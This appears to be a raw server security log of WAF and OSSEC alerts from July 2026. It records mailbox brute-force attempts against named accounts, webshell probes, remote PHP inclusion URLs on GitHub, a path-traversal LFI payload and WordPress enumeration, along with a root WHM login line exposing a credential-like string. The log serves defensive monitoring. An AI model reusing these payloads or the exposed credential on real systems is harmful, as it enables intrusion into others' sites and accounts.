abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-17 19:54:44 dovecot_login authenticator failed for H=([166.169.210.84]) [120.29.140.188]:59680: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.69.193
country_id: 3865483
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/ HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 130.131.241.50
country_id: 6252001
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/leaf.php||SC:/home/stcinemas/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.152.102.203
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9d3028770 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-17 19:55:25 dovecot_login authenticator failed for H=(ip4.gtt.net) [119.152.102.54]:42672: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-17 19:55:47 dovecot_login authenticator failed for H=([31.192.199.234]) [182.95.61.82]:35642: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.43.145.152
country_id: 163843
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a33704974 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-17 19:56:18 dovecot_login authenticator failed for H=(213.142.48.143-FTTB.planeta.tc) [71.12.42.216]:47542: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.202.162.196
country_id: 3624060
description:
2026-07-17 19:56:27 dovecot_login authenticator failed for H=([87.225.108.138]) [143.202.162.196]:53650: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:fefkadirectors||SC:/home/fefkadirectors/public_html/index.php||WPU:||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.152.124.242
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ac213480 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.99.121.7
country_id: 2589581
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/af2804831 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.142.155.184
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b82016924 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.128.12.185
country_id: 3017382
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b8967815 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.16.221.216
country_id: 2635167
description:
2026-07-17 20:01:49 dovecot_login authenticator failed for H=(adsl.viettel.vn) [82.16.221.216]:35036: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.219.172.24
country_id: 2077456
description:
2026-07-17 20:01:52 dovecot_login authenticator failed for H=203-219-172-24.tpgi.com.au ([98.181.137.75]) [203.219.172.24]:51190: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.99.52.202
country_id: 1835841
description:
2026-07-17 20:02:13 dovecot_login authenticator failed for H=([211.253.10.61]) [222.99.52.202]:52350: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.240.94
country_id: 1269750
description:
2026-07-17 20:04:34 dovecot_login authenticator failed for H=(1-34-229-12.hinet-ip.hinet.net) [182.78.240.94]:47168: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.108.21.180
country_id: 248816
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d22407420 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.208.132.35
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ce2089099 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.208.242.2
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d72869908 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 163.47.148.223
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ef3335923 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.177.80.73
country_id: 6252001
description:
2026-07-17 20:08:37 dovecot_login authenticator failed for H=([98.181.137.69]) [207.177.80.73]:57807: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.163.195.117
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f277326 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.208.128.11
country_id: 2245662
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f63367922 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 39.194.2.151
country_id: 1643084
domain: cochinbigbandshow.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:cochinbigbandsho||SC:/home/cochinbigbandsho/public_html/index.php||WPU:||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.162
country_id: 1733045
description:
2026-07-17 20:08:54 dovecot_login authenticator failed for H=(www.waw.com.tw) [49.124.152.162]:46790: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.158.140.244
country_id: 1835841
description:
2026-07-17 20:09:51 dovecot_login authenticator failed for H=(dsl-hkibng42-50dfc0-112.dhcp.inet.fi) [221.158.140.244]:49798: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.118.24.100
country_id: 1835841
description:
2026-07-17 20:10:00 dovecot_login authenticator failed for H=([121.189.198.60]) [39.118.24.100]:56024: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-17 20:10:12 dovecot_login authenticator failed for H=(kd113158205225.ppp-bb.dion.ne.jp) [113.193.187.154]:41610: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.71.3.142
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/fc306996 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.132.209.110
country_id: 6252001
description:
2026-07-17 20:13:03 dovecot_login authenticator failed for H=([103.93.37.178]) [47.132.209.110]:53176: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.182.108.242
country_id: 3865483
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/043711617 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.154.173
country_id: 1733045
description:
2026-07-17 20:13:30 dovecot_login authenticator failed for H=([128.185.12.179]) [49.124.154.173]:58512: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.251.149.81
country_id: 6252001
description:
2026-07-17 20:14:19 dovecot_login authenticator failed for H=64-251-149-81.fidnet.com (ec2-3-72-154-205.eu-central-1.compute.amazonaws.com) [64.251.149.81]:56310: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.155.225.93
country_id: 878675
description:
2026-07-17 20:14:29 dovecot_login authenticator failed for H=([59.28.170.183]) [197.155.225.93]:55714: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.145.208.225
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/093544525 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-17 20:14:56 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee ([192.252.216.83]) [83.166.50.15]:44707: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 50.104.67.100
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0f2261388 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.57.64.204
country_id: 3508796
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/11594340 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.153.16.204
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/news HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.194.140.221
country_id: 3865483
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/191702171 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.10.47.119
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/images/_h3x_f7fgkqq3.phtml.json||SC:/home/globalgroupoman/public_html/images/_h3x_f7fgkqq3.phtml.json||


plugin: modsec
rule: 77281328
name: IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)
abuser: 114.10.47.119
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)||MVN:ARGS:plugin||MV:helix3||RF:/index.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.188.20.20
country_id: 3865483
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1f3092025 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.223.37.134
country_id: 3017382
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/201882518 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-17 20:23:41 dovecot_login authenticator failed for H=([61.2.44.54]) [182.78.112.174]:33326: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.37.27.11
country_id: 1835841
description:
2026-07-17 20:22:54 dovecot_login authenticator failed for H=([67.201.35.147]) [118.37.27.11]:41137: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-17 20:23:13 dovecot_login authenticator failed for H=([171.34.145.77]) [182.95.116.66]:59102: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.72.136.99
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/233104390 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 61.245.29.2
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/25636084 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-17 20:23:50 dovecot_login authenticator failed for H=(177-72-87-7.static.as262543.net.br) [128.185.253.122]:40602: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.174.170.34
country_id: 6252001
description:
2026-07-17 20:24:53 dovecot_login authenticator failed for H=(static.bb.awr.59.90.111.74.bsnl.in) [70.174.170.34]:43278: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.184.94.216
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/292978594 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-17 20:25:39 dovecot_login authenticator failed for H=(243.134.35.171.adsl-pool.jx.chinaunicom.com) [122.186.249.6]:55010: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.20.218.115
country_id: 934292
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/hotels-and-offices HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.61.41.7
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/322191170 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.184.253.207
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/3a964926 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.103.118.240
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/402265423 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.182.160.223
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/432136362 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.191.163.104
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/30601032 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.165.15.250
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/32602422 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-17 20:32:49 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([199.102.105.241]) [37.207.215.2]:45823: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-17 20:33:24 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([121.66.124.146]) [64.207.225.55]:45788: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.235.212.105
country_id: 3202326
description:
2026-07-17 20:34:46 dovecot_login authenticator failed for H=([83.239.0.202]) [185.235.212.105]:33617: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 76.229.218.96
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/37643200 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.140.152.205
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/383508948 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.119.34.74
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/392491503 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.80.230.116
country_id: 3686110
description:
2026-07-17 20:35:00 dovecot_login authenticator failed for H=(211-21-168-139.hinet-ip.hinet.net) [186.80.230.116]:33362: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 115.164.83.68
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/39254449 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/bigdump.php||SC:/home/ibmctradeflow/public_html/uploads||


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-17 20:35:42 +0530] info [whostmgrd] 223.181.13.36 NEW root:HGeb98rq7pK8GP1h address=223.181.13.36,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.184
country_id: 1733045
description:
2026-07-17 20:36:10 dovecot_login authenticator failed for H=(buenosnet.static.gvt.net.br) [49.124.159.184]:41564: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-17 20:36:20 dovecot_login authenticator failed for H=([177.7.30.146]) [183.82.56.12]:59713: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-17 20:37:04 dovecot_login authenticator failed for H=([117.79.226.11]) [119.92.76.210]:35714: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.191
country_id: 1733045
description:
2026-07-17 20:37:14 dovecot_login authenticator failed for H=([213.234.11.10]) [49.124.159.191]:49608: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.145.26.91
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/432382213 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.93.117.197
country_id: 3017382
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/482789109 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-07-17 20:40:04 dovecot_login authenticator failed for H=([149.54.62.22]) [219.248.65.30]:34993: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.146.109
country_id: 99237
description:
2026-07-17 20:40:15 dovecot_login authenticator failed for H=([223.82.97.51]) [65.20.146.109]:52982: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77789665
abuser: 114.10.47.119
country_id: 1643084
domain: kallanigroup.com
description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:data[layoutName]||MV:../../../../_h3x_d0gly6fd.php||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-07-17 20:44:38 dovecot_login authenticator failed for H=([174.75.211.196]) [103.174.145.35]:59464: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.35.50.15
country_id: 294640
description:
2026-07-17 20:45:00 dovecot_login authenticator failed for H=([124.195.255.12]) [95.35.50.15]:56724: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.57.173
country_id: 1269750
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:60703.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:43a22aaa6493f4d503e9e2ee21c334553e1104c9||Title:0x77f2edab||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.95.246
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/telephone-and-communication-systems-pabx HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.202.44.196
country_id: 289688
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/6e3833734 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.190.185.141
country_id: 3865483
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/71204618 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.230.170.10
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/76424889 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.3.162.77
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/781192423 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 91.224.92.127
country_id: 2635167
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.30||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 91.224.92.127
country_id: 2635167
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:adminlin||User:ahsmarine||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 91.224.92.127
country_id: 2635167
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:trumpweiss||User:ahsmarine||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.126.44.190
country_id: 272103
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/77823892 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.97.167.5
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/791547084 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.233.182.39
country_id: 1835841
description:
2026-07-17 20:56:58 dovecot_login authenticator failed for H=([61.177.36.109]) [218.233.182.39]:2315: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.104.226.81
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/7d642783 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-17 20:57:57 dovecot_login authenticator failed for H=([59.34.17.130]) [118.220.149.121]:47402: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-17 20:58:26 dovecot_login authenticator failed for H=([98.181.137.75]) [175.200.217.128]:54888: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.255.126.29
country_id: 3017382
domain: cochinbigbandshow.com
